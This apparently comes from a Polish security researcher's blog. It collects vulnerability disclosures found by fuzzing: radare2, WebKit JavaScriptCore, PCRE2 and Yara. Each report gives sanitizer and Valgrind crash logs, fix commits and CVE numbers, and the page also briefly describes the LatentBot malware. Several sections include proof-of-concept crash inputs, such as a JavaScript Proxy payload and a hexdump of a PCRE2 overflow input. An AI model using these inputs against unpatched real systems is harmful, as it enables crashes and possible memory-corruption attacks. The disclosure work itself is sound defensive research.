 #9 0x7ff97c5e6c6c in ?? ??:0
 #10 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #11 0x7ff97c534810 in ?? ??:0
 #12 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #13 0x7ff97c4fe4a3 in ?? ??:0
 #14 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #15 0x7ff97c4fb344 in ?? ??:0
 #16 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #17 0x5587c9eb7566 in ?? ??:0
 #18 0x7ff975fcf2b0 in __libc_start_main ??:?
 #19 0x7ff975fcf2b0 in ?? ??:0
 #20 0x5587c9de5889 in _start ??:?
 #21 0x5587c9de5889 in ?? ??:0

0x611000005ce8 is located 40 bytes inside of 208-byte region [0x611000005cc0,0x611000005d90)
freed by thread T0 here:
 #0 0x5587c9e83cd0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o:?
 #1 0x5587c9e83cd0 in ?? ??:0
 #2 0x7ff976ee4384 in r_hashtable64_free XYZ/radare2/libr/util/./ht.c:177
 #3 0x7ff976ee4384 in ?? ??:0
 #4 0x7ff97a6e5b02 in r_anal_state_free XYZ/radare2/libr/anal/state.c:70
 #5 0x7ff97a6e5b02 in ?? ??:0
 #6 0x7ff97a654b24 in analyze_from_code_buffer XYZ/radare2/libr/..//libr/anal/p/anal_java.c:502
 #7 0x7ff97a654b24 in ?? ??:0
 #8 0x7ff97a654369 in analyze_from_code_attr XYZ/radare2/libr/..//libr/anal/p/anal_java.c:533
 #9 0x7ff97a654369 in ?? ??:0
 #10 0x7ff97a652de4 in java_analyze_fns XYZ/radare2/libr/..//libr/anal/p/anal_java.c:664
 #11 0x7ff97a652de4 in ?? ??:0
 #12 0x7ff97c5ebf80 in r_core_anal_fcn XYZ/radare2/libr/core/anal.c:1234
 #13 0x7ff97c5ebf80 in ?? ??:0
 #14 0x7ff97c5f4670 in r_core_anal_all XYZ/radare2/libr/core/anal.c:2496
 #15 0x7ff97c5f4670 in ?? ??:0
 #16 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #17 0x7ff97c543480 in ?? ??:0
 #18 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #19 0x7ff97c50173a in ?? ??:0
 #20 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
 #21 0x7ff97c5e6c6c in ?? ??:0
 #22 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #23 0x7ff97c534810 in ?? ??:0
 #24 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #25 0x7ff97c4fe4a3 in ?? ??:0
 #26 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #27 0x7ff97c4fb344 in ?? ??:0
 #28 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #29 0x5587c9eb7566 in ?? ??:0
 #30 0x7ff975fcf2b0 in __libc_start_main ??:?
 #31 0x7ff975fcf2b0 in ?? ??:0

previously allocated by thread T0 here:
 #0 0x5587c9e84040 in calloc ??:?
 #1 0x5587c9e84040 in ?? ??:0
 #2 0x7ff97a6c1784 in r_anal_bb_new XYZ/radare2/libr/anal/bb.c:10 (discriminator 1)
 #3 0x7ff97a6c1784 in ?? ??:0
 #4 0x7ff97a6e3e07 in r_anal_ex_get_bb XYZ/radare2/libr/anal/anal_ex.c:174
 #5 0x7ff97a6e3e07 in ?? ??:0
 #6 0x7ff97a6e4996 in r_anal_ex_analysis_driver XYZ/radare2/libr/anal/anal_ex.c:287
 #7 0x7ff97a6e4996 in ?? ??:0
 #8 0x7ff97a654a40 in analyze_from_code_buffer XYZ/radare2/libr/..//libr/anal/p/anal_java.c:491
 #9 0x7ff97a654a40 in ?? ??:0
 #10 0x7ff97a654369 in analyze_from_code_attr XYZ/radare2/libr/..//libr/anal/p/anal_java.c:533
 #11 0x7ff97a654369 in ?? ??:0
 #12 0x7ff97a652de4 in java_analyze_fns XYZ/radare2/libr/..//libr/anal/p/anal_java.c:664
 #13 0x7ff97a652de4 in ?? ??:0
 #14 0x7ff97c5ebf80 in r_core_anal_fcn XYZ/radare2/libr/core/anal.c:1234
 #15 0x7ff97c5ebf80 in ?? ??:0
 #16 0x7ff97c5f4670 in r_core_anal_all XYZ/radare2/libr/core/anal.c:2496
 #17 0x7ff97c5f4670 in ?? ??:0
 #18 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #19 0x7ff97c543480 in ?? ??:0
 #20 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #21 0x7ff97c50173a in ?? ??:0
 #22 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
 #23 0x7ff97c5e6c6c in ?? ??:0
 #24 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #25 0x7ff97c534810 in ?? ??:0
 #26 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #27 0x7ff97c4fe4a3 in ?? ??:0
 #28 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #29 0x7ff97c4fb344 in ?? ??:0
 #30 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #31 0x5587c9eb7566 in ?? ??:0
 #32 0x7ff975fcf2b0 in __libc_start_main ??:?
 #33 0x7ff975fcf2b0 in ?? ??:0

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/lib/libr_core.so+0x267584)
Shadow bytes around the buggy address:
 0x0c227fff8b40: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
 0x0c227fff8b50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8b60: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c227fff8b70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
=&gt;0x0c227fff8b90: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd
 0x0c227fff8ba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8bb0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c227fff8bc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8bd0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
 0x0c227fff8be0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Heap right redzone: fb
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack partial redzone: f4
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
==35187==ABORTING

Log z Valgrinda (bardziej czytelny):


==54153== Invalid read of size 4
==54153==    at 0x10013E552: fcn_callconv (anal.c:2001)
==54153==    by 0x100141E1E: r_core_anal_all (anal.c:2536)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==    by 0x1000C00C8: r_core_cmd_subst_i (cmd.c:1960)
==54153==    by 0x10009336C: r_core_cmd_subst (cmd.c:1311)
==54153==    by 0x100090FF6: r_core_cmd (cmd.c:2477)
==54153==    by 0x100083CB4: r_core_prompt_exec (core.c:1684)
==54153==    by 0x10000436F: main (in /usr/local/bin/r2)
==54153==  Address 0x11020e1c8 is 40 bytes inside a block of size 208 free'd
==54153==    at 0x100074EF7: free (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E38F: r_anal_bb_free (bb.c:58)
==54153==    by 0x10166749B: r_hashtable64_free (ht.c:177)
==54153==    by 0x100486425: r_anal_state_free (state.c:70)
==54153==    by 0x1004105BC: analyze_from_code_buffer (anal_java.c:502)
==54153==    by 0x10041011F: analyze_from_code_attr (anal_java.c:533)
==54153==    by 0x10040EFCB: java_analyze_fns (anal_java.c:664)
==54153==    by 0x10013BCFB: r_core_anal_fcn (anal.c:1234)
==54153==    by 0x100141A8C: r_core_anal_all (anal.c:2496)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==  Block was alloc'd at
==54153==    at 0x1000751B9: calloc (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E0FA: r_anal_bb_new (bb.c:10)
==54153==    by 0x100484A4F: r_anal_ex_get_bb (anal_ex.c:174)
==54153==    by 0x1004850C8: r_anal_ex_analysis_driver (anal_ex.c:287)
==54153==    by 0x100484E78: r_anal_ex_perform_analysis (anal_ex.c:230)
==54153==    by 0x10041072C: analyze_method (anal_java.c:571)
==54153==    by 0x1004104B6: analyze_from_code_buffer (anal_java.c:491)
==54153==    by 0x10041011F: analyze_from_code_attr (anal_java.c:533)
==54153==    by 0x10040EFCB: java_analyze_fns (anal_java.c:664)
==54153==    by 0x10013BCFB: r_core_anal_fcn (anal.c:1234)
==54153==    by 0x100141A8C: r_core_anal_all (anal.c:2496)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==
==54153== Invalid read of size 4
==54153==    at 0x10013E568: fcn_callconv (anal.c:2004)
==54153==    by 0x100141E1E: r_core_anal_all (anal.c:2536)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==    by 0x1000C00C8: r_core_cmd_subst_i (cmd.c:1960)
==54153==    by 0x10009336C: r_core_cmd_subst (cmd.c:1311)
==54153==    by 0x100090FF6: r_core_cmd (cmd.c:2477)
==54153==    by 0x100083CB4: r_core_prompt_exec (core.c:1684)
==54153==    by 0x10000436F: main (in /usr/local/bin/r2)
==54153==  Address 0x11020e1c8 is 40 bytes inside a block of size 208 free'd
==54153==    at 0x100074EF7: free (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E38F: r_anal_bb_free (bb.c:58)

Issue #6034 na GitHubie

Commit naprawiający: 5800b23e8feb06df42c7898299b4872572b7b979

CVE: N/A

WebKit JavaScriptCore – Out of bounds read

Szybki wstęp

Projekt WebKit kusi bughunterów przede wszystkim, bardzo dużym zasięgiem występowania błędu – wykorzystywany jest jako core przeglądarki Apple Safari, silnik Apple AppStore i komponent wielu aplikacji w systemach MacOS X oraz Linux.

Między innymi to błędy w WebKitcie były punktem wejścia do jailbreaku iOS i odblokowania urządzeń Apple’a. Myślę, że lepszej motywacji do zajęcia się tym tematem nie trzeba 🙂

Opis podatności

Dziura znajdowała się w rewizji SVN 208042 oraz w Safari Technology Preview Release 18 (i niżej).

Błąd związany był z subtelną różnicą w standardzie ECMAScript w kwestii serializacji JSONów. Poniżej cytat z commita naprawiającego, który dobrze opisuje clue problemu:

When JSON.stringify encounter the undefined value, the result depends
on the context. If it is produced under the object property context, we ignore
that property. On the other hand, if it is produced under the array element
context, we produce “null”.

Skip the property that value is undefined.
JSON.stringify({ value: undefined }); => “{}”

Write “null” when the element is undefined.
JSON.stringify([undefined]); => “[null]”

Jak widać poniżej mój payload “łapał” się na obydwa w/w przypadki:

JSON.parse(new Proxy([undefined],{}))

Następnie, po niewłaściwym określeniu obiektu, jego wartość była przekazywana do funkcji budującej stringa (Webkit posiada własne funkcje służące do operacji na stringach) i nastepował odczyt spod adresu niezdefiniowanego w pamięci, który skutkował SIGSEGV.

Log z ASAN:

==16295==ERROR: AddressSanitizer: SEGV on unknown address 0x6041000021a3 (pc 0x7fa5adf38ee4 bp 0x0000ffffffff sp 0x7ffd4d2f6790 T0)
==16295==The signal is caused by a READ memory access.
    #0 0x7fa5adf38ee3 in WTF::StringBuilder::operator[](unsigned int) const XYZ/webkit/Source/WTF/wtf/text/StringBuilder.h:247:20
    #1 0x7fa5adf38ee3 in JSC::Stringifier::Holder::appendNextProperty(JSC::Stringifier&, WTF::StringBuilder&) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:465
    #2 0x7fa5adf35501 in JSC::Stringifier::appendStringifiedValue(WTF::StringBuilder&, JSC::JSValue, JSC::JSObject*, JSC::PropertyNameForFunctionCall const&) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:384:37
    #3 0x7fa5adf31deb in JSC::Stringifier::stringify(JSC::Handle<JSC::Unknown>) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:262:9
    #4 0x7fa5adf406c4 in JSC::JSONProtoFuncStringify(JSC::ExecState*) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:786:57
    #5 0x7fa565afe027  (<unknown module>)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV XYZ/webkit/Source/WTF/wtf/text/StringBuilder.h:247:20 in WTF::StringBuilder::operator[](unsigned int) const
==16295==ABORTING

Bug 164123 w bugzilli projektu WebKit

Commit naprawiający (SVN Rev: 208123)

CVE: N/A

[CVE-2016-1000295] PCRE2 10.22 – Stack Buffer Overflow

Słowo wstępu

Bardzo podoba mi się opis projektu – poza opisaniem funkcjonalności, odpowiada również na pytanie dlaczego jest to bardzo interesujący cel fuzzingu:

The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software.

PCRE was originally written for the Exim MTA, but is now used by many high-profile open source projects, including Apache, PHP, KDE, Postfix, Analog, and Nmap. PCRE has also found its way into some well known commercial products, like Apple Safari. Some other interesting projects using PCRE include Chicken, Ferite, Onyx, Hypermail, Leafnode, Askemos, Wenlin, and 8th.

Krótki opis podatności

Podatność znajduje się w wersji 10.22 opublikowanej 29. lipca 2016 roku.

Głównym problemem było zachowanie parsera wyrażeń regularnych po wyłączeniu walidacji UTF-8 (wtedy następuje założenie, że regex będzie w UTF-8). Bardzo ciekawe jest, że walidację tę można wyłączyć w payloadzie, co powoduje, że jesteśmy w stanie zawsze “zatriggerować” podatny tryb działania.

Do przepełnienia bufora prowadziło złe obliczenie długości kopiowanych bajtów (niezgodnych z UTF-8) do bufora o nazwie utf_units.

Poniżej podatny fragment kodu w pliku pcre2_compile.c:

if (utf && NOT_FIRSTCU(code[-1])) 
{
    PCRE2_UCHAR *lastchar = code - 1;
    BACKCHAR(lastchar);
    c = (int)(code - lastchar);               /* Length of UTF character */
    memcpy(utf_units, lastchar, CU2BYTES(c)); /* BADUM TSS! */
    c |= UTF_LENGTH;                          /* Flag c as a length */
}

Problem powodowało poniższe 26 bajtów – widać wyraźnie wyłączenie walidacji UTF-8, jak również “oblanie” testu zgodności z tym kodowaniem.

Payload wraz z testem:

# hexdump -C bufover_1_min 
00000000  2f d4 83 a4 9c a4 9c b0  3f 2f 6e 6f 5f 75 74 66  |/.......?/no_utf|
00000010  5f 63 68 65 63 6b 2c 75  74 66                    |_check,utf|
0000001a
# LC_ALL=C  iconv -f utf-8 -t utf-8 < bufover_1_min 
/ԃiconv: illegal input sequence at position 3

Log z ASAN:

==19226==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc935e5fa6 at pc 0x0000004a1da4 bp 0x7ffc935e5e90 sp 0x7ffc935e5640
WRITE of size 7 at 0x7ffc935e5fa6 thread T0
    #0 0x4a1da3 in __asan_memcpy /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:413:3
    #1 0x7f8dbbadc514 in compile_branch XYZ/pcre2_compile.c:5211:9
    #2 0x7f8dbbad125b in compile_regex XYZ/pcre2_compile.c:7687:8
    #3 0x7f8dbbac9ccb in pcre2_compile_8 XYZ/pcre2_compile.c:8657:7
    #4 0x4f0e2c in process_pattern XYZ/pcre2test.c:4949:1
    #5 0x4e8333 in main XYZ/pcre2test.c:7607:10
    #6 0x7f8dba9c782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x41a828 in _start (/usr/local/bin/pcre2test+0x41a828)

Address 0x7ffc935e5fa6 is located in stack of thread T0 at offset 262 in frame
    #0 0x7f8dbbad6a6f in compile_branch XYZ/pcre2_compile.c:3861

  This frame has 28 object(s):
    [32, 36) 'repeat_min'
    [48, 52) 'repeat_max'
    [64, 72) 'length_prevgroup'
    [96, 104) 'tempcode'
    [128, 136) 'ptr'
    [160, 168) 'tempptr'
    [192, 224) 'classbits'
    [256, 262) 'utf_units' <== Memory access at offset 262 overflows this variable
    [288, 296) 'class_uchardata'
    [320, 324) 'ec'
    [336, 340) 'subreqcu'
    [352, 356) 'subfirstcu'
    [368, 372) 'subreqcuflags'
    [384, 388) 'subfirstcuflags'
    [400, 408) 'mcbuffer'
    [432, 464) 'pbits'
    [496, 500) 'negated'
    [512, 516) 'ptype664'
    [528, 532) 'pdata'
    [544, 548) 'd'
    [560, 564) 'count'
    [576, 584) 'arg'
    [608, 616) 'memcode'
    [640, 644) 'set'
    [656, 660) 'unset'
    [672, 676) 'negated3050'
    [688, 692) 'ptype3051'
    [704, 708) 'pdata3052'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/development/llvm/3.9.0/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:413:3 in __asan_memcpy
Shadow bytes around the buggy address:
  0x1000126b4ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4bd0: 00 00 00 00 f1 f1 f1 f1 04 f2 04 f2 00 f2 f2 f2
  0x1000126b4be0: 00 f2 f2 f2 00 f2 f2 f2 00 f2 f2 f2 00 00 00 00
=>0x1000126b4bf0: f2 f2 f2 f2[06]f2 f2 f2 00 f2 f2 f2 04 f2 04 f2
  0x1000126b4c00: 04 f2 04 f2 04 f2 00 f2 f2 f2 00 00 00 00 f2 f2
  0x1000126b4c10: f2 f2 04 f2 04 f2 04 f2 04 f2 04 f2 00 f2 f2 f2
  0x1000126b4c20: 00 f2 f2 f2 04 f2 04 f2 04 f2 04 f2 04 f3 f3 f3
  0x1000126b4c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000126b4c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Bug #1889 w bugzilli projektu PCRE

Commit naprawiający (SVN Rev: 555)

CVE: CVE-2016-1000295

LatentBot – modularny i silnie zaciemniony bot

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska, tym razem o ciekawym złośniku z aktywnego exploit-kita RigLatentBocie.

Zajawka:

LatentBot jest widoczny w sieci od 2013 roku, a na początku października rozpoczął swoją drugą młodość – dodany został jako payload do bardzo aktywnego exploit-kita Rig i jest serwowany zamiennie z takim złośliwym oprogramowaniem jak: Cerber, CryptFile2, Gootkit czy Vawtrak.

Głównym wektorem infekcji dla użytkowników były dokumenty pakietu Microsoft Office zawierające exploity na podatności CVE-2010-3333, CVE-2012-0158, CVE-2013-3906 oraz CVE-2014-1761. Pliki zbudowane zostały za pomocą pakietu Microsoft Word Intruder / MWISTAT.

Kampanie z tym złośnikiem prowadzone były m.in. w USA, Kanadzie, Brazylii, Singapurze, Korei Południowej, Polsce oraz Zjednoczonych Emiratach Arabskich. Głównym adresatem byli przedstawiciele sektora finansowego oraz ubezpieczeniowego.

LatentBot na tle konkurencyjnego malware znacznie się wyróżnia:

Dynamiczne deszyfrowanie stringów („autorski” algorytm) oraz nazw funkcji WinAPI i usuwanie ich po użyciu
Możliwość nadpisania (uszkodzenia) MBR
Modułowość (zaciemnione moduły przechowywane w rejestrze Windows)
Wykorzystanie malware Pony 2.0 celem wykradania informacji oraz portfeli kryptowalut takich jak BitCoin, LiteCoin, Namecoin i wiele innych.

Zachęcam do zapoznania się z całością wpisu 🙂

Security BSides Warsaw 2016

Po raz kolejny miałem przyjemność być prelegentem na konferencji Security BSides 2016. W tym roku tematem mojej prezentacji było efektywne fuzzowanie za pomocą American Fuzzy Loop.

Podczas wydarzenia zapewniona była profesjonalna obsługa streamingu i nagrywania sesji – każdą z nich można obejrzeć na kanale YT wydarzenia. Dodatkowo na fanpage’u konferencji znajdują się zdjęcia z imprezy. Wszystkich obecnych oraz oglądających zachęcam do wypełnienia ankiety – pomoże to w przyszłym roku rangę wydarzenia 😉

Tutaj znajduje się moja prezentacja, natomiast poniżej możesz obejrzeć nagranie z mojej sesji:

Zgodnie z tradycją udostępniłem stronę ze sporą ilością zasobów na temat fuzzingu i projektów “około” AFLa.

Zachęcam do zapoznania się 🙂

Yara 3.5.0 – Błędy Double Free oraz Integer Underflow

Yara jest narzędziem do wyszukiwania wzorców tekstowych oraz binarnych w plikach. Z racji na jej specyficzne “moce” jest używana głównie przez analityków malware, oraz firmy \ projekty zajmujące się bezpieczeństwem IT.

Z racji tego, że lubię wiedzieć czego używam, postanowiłem ją trochę pofuzzować za pomocą American Fuzzy Loop. Projekt czasowo “wstrzelił” się chwilę po wydaniu wersji 3.5.0 – wersji w której część kodu odpowiedzialna za parsowanie reguł YARA została zrefaktoryzowana. Jak się później okazało fuzzing + niedawna refaktoryzacja kodu to niezła kombinacja 😉

Double free podczas parsowania wyrażeń regularnych (CVE-2016-1000290)

Podczas parsowania tokenu /[NUL]/ w wyrażeniu regularnym, lexer interpretuje je jako “puste wyrażenie regularne”. Z racji tego, że lexer nie obsługiwał poprawnie tego typu sytuacji, tworzony było token z wartością yylval z poprzedniego tokenu wyrażenia regularnego (w przypadku payloadu jest to 0xdeadbeef). Podczas kończenia działania Yary następuje próba zwolnienia pamięci z adresu podanego “przed” tokenem /[NUL]/ i w rezultacie awaria programu.

Log z Valgrinda:

» valgrind yara segfault_deadbeef.yar strings
==4930== Memcheck, a memory error detector
==4930== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==4930== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==4930== Command: yara segfault_deadbeef.yar strings
==4930== 
segfault_deadbeef.yar(4): error: syntax error, unexpected _NUMBER_, expecting '='
segfault_deadbeef.yar(4): error: empty regular expression
==4930== Invalid free() / delete / delete[] / realloc()
==4930==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==4930==    by 0x4B9A38: yara_yyparse (grammar.c:3796)
==4930==    by 0x425DCA: yr_lex_parse_rules_file (lexer.l:808)
==4930==    by 0x4031AD: main (yara.c:1104)
==4930==  Address 0xdeadbeef is not stack'd, malloc'd or (recently) free'd
==4930== 
==4930== 
==4930== HEAP SUMMARY:
==4930==     in use at exit: 0 bytes in 0 blocks
==4930==   total heap usage: 59 allocs, 60 frees, 853,729 bytes allocated
==4930== 
==4930== All heap blocks were freed -- no leaks are possible
==4930== 
==4930== For counts of detected and suppressed errors, rerun with: -v
==4930== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Błąd został wprowadzony w commicie: 11fd5e4784fa135cbdb64906cc628edb9e9d50ee

Payload (próba zwolnienia adresu 0xdeadbeef)

Issue #517 na GitHubie

Commit naprawiający: 658aec6227a61b848f66b004ebd16fadcf24b5e7

CVE: CVE-2016-1000290

Integer underflow – błędna obsługa importów (CVE-2016-1000291)

W sytuacji kiedy importujemy moduł “\x00”, nazwa importu jest przekazywana do funkcji yr_parser_reduce_import() w strukturze SIZED_STRING. Wartość pola length w strukturze jest ustawiona na 1, a c_string ma wartość “\x00”.

Następnie do funkcji yr_hash_table_lookup() przekazywany jest wskaźnik do pola c_string, gdzie sprawdzana jest jego długość za pomocą strlen(), która zwraca długość stringa c_string równą 0 i przekazuje ją do funkcji yr_hash_table_lookup_raw_key().

To powoduje, że do funkcji yr_hash_table_lookup_raw_key() przekazany jest wskaźnik ze stringiem “\x00” i jego niewłaściwą długością równą 0. Następnie funkcja hash() odejmuje 1 od długości, celem znalezienia wartości w tablicy byte_to_int32, co powoduje błąd integer underflow.

Log z Valgrinda:

» valgrind yara exploit_min.yar strings
==3981== Memcheck, a memory error detector
==3981== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==3981== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==3981== Command: yara exploit_min.yar strings
==3981== 
==3981== Use of uninitialised value of size 8
==3981==    at 0x4069FE: yr_hash_table_lookup_raw_key (in /usr/local/bin/yara)
==3981==    by 0x433AB0: yr_parser_reduce_import (in /usr/local/bin/yara)
==3981==    by 0x4270AA: yara_yyparse (in /usr/local/bin/yara)
==3981==    by 0x409BD9: yr_lex_parse_rules_file (in /usr/local/bin/yara)
==3981==    by 0x402E53: main (in /usr/local/bin/yara)
==3981== 
==3981== Invalid read of size 1
==3981==    at 0x4069F0: yr_hash_table_lookup_raw_key (in /usr/local/bin/yara)
==3981==    by 0x433AB0: yr_parser_reduce_import (in /usr/local/bin/yara)
==3981==    by 0x4270AA: yara_yyparse (in /usr/local/bin/yara)
==3981==    by 0x409BD9: yr_lex_parse_rules_file (in /usr/local/bin/yara)
==3981==    by 0x402E53: main (in /usr/local/bin/yara)
==3981==  Address 0x5ec339d is 0 bytes after a block of size 13 alloc'd
==3981==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==3981==    by 0x408302: yara_yylex (in /usr/local/bin/yara)
==3981==    by 0x426AD2: yara_yyparse (in /usr/local/bin/yara)
==3981==    by 0x409BD9: yr_lex_parse_rules_file (in /usr/local/bin/yara)
==3981==    by 0x402E53: main (in /usr/local/bin/yara)
==3981== 
==3981== 
==3981== Process terminating with default action of signal 11 (SIGSEGV)
==3981==  Access not within mapped region at address 0x6188000
==3981==    at 0x4069F0: yr_hash_table_lookup_raw_key (in /usr/local/bin/yara)
==3981==    by 0x433AB0: yr_parser_reduce_import (in /usr/local/bin/yara)
==3981==    by 0x4270AA: yara_yyparse (in /usr/local/bin/yara)
==3981==    by 0x409BD9: yr_lex_parse_rules_file (in /usr/local/bin/yara)
==3981==    by 0x402E53: main (in /usr/local/bin/yara)
==3981==  If you believe this happened as a result of a stack
==3981==  overflow in your program's main thread (unlikely but
==3981==  possible), you can try to increase the size of the
==3981==  main thread stack using the --main-stacksize= flag.
==3981==  The main thread stack size used in this run was 8388608.
==3981== 
==3981== HEAP SUMMARY:
==3981==     in use at exit: 852,295 bytes in 73 blocks
==3981==   total heap usage: 1,686 allocs, 1,613 frees, 1,176,251 bytes allocated
==3981== 
==3981== LEAK SUMMARY:
==3981==    definitely lost: 0 bytes in 0 blocks
==3981==    indirectly lost: 0 bytes in 0 blocks
==3981==      possibly lost: 0 bytes in 0 blocks
==3981==    still reachable: 852,295 bytes in 73 blocks
==3981==         suppressed: 0 bytes in 0 blocks
==3981== Rerun with --leak-check=full to see details of leaked memory
==3981== 
==3981== For counts of detected and suppressed errors, rerun with: -v
==3981== Use --track-origins=yes to see where uninitialised values come from
==3981== ERROR SUMMARY: 2903143 errors from 2 contexts (suppressed: 0 from 0)
fish: “valgrind yara exploit_min.yar s…” terminated by signal SIGSEGV (Address boundary error)

Log z ASAN:

==39208==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000ef9d at pc 0x0000004f2b43 bp 0x7ffd78dd6cf0 sp 0x7ffd78dd6ce8
READ of size 1 at 0x60200000ef9d thread T0
    #0 0x4f2b42  (/usr/local/bin/yara+0x4f2b42)
    #1 0x4f2de4  (/usr/local/bin/yara+0x4f2de4)
    #2 0x551737  (/usr/local/bin/yara+0x551737)
    #3 0x533210  (/usr/local/bin/yara+0x533210)
    #4 0x4fb7fa  (/usr/local/bin/yara+0x4fb7fa)
    #5 0x4ee8dc  (/usr/local/bin/yara+0x4ee8dc)
    #6 0x7f34280aa82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x419b68  (/usr/local/bin/yara+0x419b68)

0x60200000ef9d is located 0 bytes to the right of 13-byte region
[0x60200000ef90,0x60200000ef9d)
allocated by thread T0 here:
    #0 0x4b9c98  (/usr/local/bin/yara+0x4b9c98)
    #1 0x4f6300  (/usr/local/bin/yara+0x4f6300)
    #2 0x53102f  (/usr/local/bin/yara+0x53102f)
    #3 0x4fb7fa  (/usr/local/bin/yara+0x4fb7fa)
    #4 0x4ee8dc  (/usr/local/bin/yara+0x4ee8dc)
    #5 0x7f34280aa82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow
(/usr/local/bin/yara+0x4f2b42)
